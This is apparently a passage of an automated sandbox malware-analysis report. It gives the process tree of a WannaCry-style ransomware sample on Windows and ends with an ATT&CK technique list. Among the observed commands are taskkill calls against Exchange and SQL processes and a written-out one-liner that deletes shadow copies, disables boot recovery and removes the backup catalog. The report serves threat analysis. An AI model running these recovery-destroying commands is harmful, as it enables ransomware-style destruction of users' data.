      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:2
      4⤵
      PID:1896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
      4⤵
      PID:1008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
      4⤵
      PID:4044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
      4⤵
      PID:1040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5196 /prefetch:8
      4⤵
      PID:2004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5196 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1720 /prefetch:1
      4⤵
      PID:1844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5324 /prefetch:1
      4⤵
      PID:1596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
      4⤵
      PID:3744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
      4⤵
      PID:3712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,8759520053788300596,16311112351246756709,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2280 /prefetch:2
      4⤵
      PID:5928
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4988
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Enumerates connected drives
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2612
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5240
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Enumerates connected drives
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:5980
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    PID:3224
- - C:\Users\Admin\AppData\Local\Temp\duwqer.exe
    "C:\Users\Admin\AppData\Local\Temp\duwqer.exe"
    3⤵
    - Executes dropped EXE
    PID:2036
- - C:\Users\Admin\AppData\Local\Temp\xhhxik.exe
    "C:\Users\Admin\AppData\Local\Temp\xhhxik.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:988
- - C:\Users\Admin\AppData\Local\Temp\rwqety.exe
    "C:\Users\Admin\AppData\Local\Temp\rwqety.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5860
- - C:\Users\Admin\AppData\Local\Temp\msjrib.exe
    "C:\Users\Admin\AppData\Local\Temp\msjrib.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6048
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6048 -s 1204
      4⤵
      Program crash
      PID:4276
- - C:\Users\Admin\AppData\Local\Temp\drcwqc.exe
    "C:\Users\Admin\AppData\Local\Temp\drcwqc.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: RenamesItself
    PID:5172
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 243921740871426.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:4144
    - - C:\Windows\SysWOW64\cscript.exe
        
        cscript //nologo c.vbs
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5640
  - - C:\Users\Admin\AppData\Local\Temp\!WannaDecryptor!.exe
      !WannaDecryptor!.exe f
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1840
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im MSExchange*
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:1584
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Microsoft.Exchange.*
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:5832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sqlserver.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sqlwriter.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:2368
  - - C:\Users\Admin\AppData\Local\Temp\!WannaDecryptor!.exe
      !WannaDecryptor!.exe c
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3476
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /b !WannaDecryptor!.exe v
      4⤵
      System Location Discovery: System Language Discovery
      PID:4420
    - - C:\Users\Admin\AppData\Local\Temp\!WannaDecryptor!.exe
        
        !WannaDecryptor!.exe v
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5732
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:6012
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5504
  - - C:\Users\Admin\AppData\Local\Temp\!WannaDecryptor!.exe
      !WannaDecryptor!.exe
      4⤵
      Executes dropped EXE
      Sets desktop wallpaper using registry
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:4916

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:440

C:\ProgramData\update.exe
C:\ProgramData\update.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2884

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1604

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1600

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3964

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:756
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\ConvertFromEnable.crw.ENC
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4376

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb8447cc40,0x7ffb8447cc4c,0x7ffb8447cc58
  2⤵
  PID:1640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1932,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2132,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  PID:180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2272,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2208 /prefetch:8
  2⤵
  PID:4680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3148,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:2748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3176,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:2444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3708,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4572 /prefetch:1
  2⤵
  PID:3320
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4548,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4688 /prefetch:8
  2⤵
  PID:2776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4840,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4820 /prefetch:8
  2⤵
  PID:1028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4848,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4876 /prefetch:8
  2⤵
  PID:468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3720,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4856 /prefetch:8
  2⤵
  PID:5136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5080,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4728 /prefetch:8
  2⤵
  PID:5512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5060,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5036 /prefetch:8
  2⤵
  PID:5616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5036,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4996 /prefetch:8
  2⤵
  PID:5772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4968,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4796 /prefetch:8
  2⤵
  PID:5824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4736,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5132 /prefetch:8
  2⤵
  PID:5880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4724,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:5148
- C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  - Drops file in Program Files directory
  PID:5180
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x288,0x28c,0x290,0x264,0x294,0x7ff62d514698,0x7ff62d5146a4,0x7ff62d5146b0
    3⤵
    - Drops file in Program Files directory
    PID:5356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5312,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5212 /prefetch:2
  2⤵
  PID:5192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=5340,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5192 /prefetch:1
  2⤵
  PID:5008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=3308,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3424 /prefetch:1
  2⤵
  PID:5912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=3236,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5592 /prefetch:1
  2⤵
  PID:5904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3416,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3388 /prefetch:8
  2⤵
  PID:3540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=5568,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:1796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3304,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5952 /prefetch:8
  2⤵
  PID:3828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5984,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5992 /prefetch:8
  2⤵
  PID:3584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3372,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6124 /prefetch:8
  2⤵
  PID:2504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=5320,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5228 /prefetch:1
  2⤵
  PID:5512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=5628,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5668 /prefetch:1
  2⤵
  PID:732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --field-trial-handle=4560,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5280 /prefetch:1
  2⤵
  PID:1760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-appcompat-clear --field-trial-handle=5484,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4532 /prefetch:8
  2⤵
  PID:4808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4996,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4528 /prefetch:8
  2⤵
  - Modifies registry class
  PID:1636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6024,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6384 /prefetch:8
  2⤵
  PID:4136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=6696,i,13131968623119046372,17576690310850774453,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6704 /prefetch:8
  2⤵
  PID:5164

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5528

C:\ProgramData\update.exe
C:\ProgramData\update.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2944

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x344 0x404
1⤵
PID:5884

C:\ProgramData\update.exe
C:\ProgramData\update.exe
1⤵
- Executes dropped EXE
PID:3856

C:\ProgramData\update.exe
C:\ProgramData\update.exe
1⤵
- Executes dropped EXE
PID:5732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 192 -p 6048 -ip 6048
1⤵
PID:4664

C:\ProgramData\update.exe
C:\ProgramData\update.exe
1⤵
- Executes dropped EXE
PID:5796

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

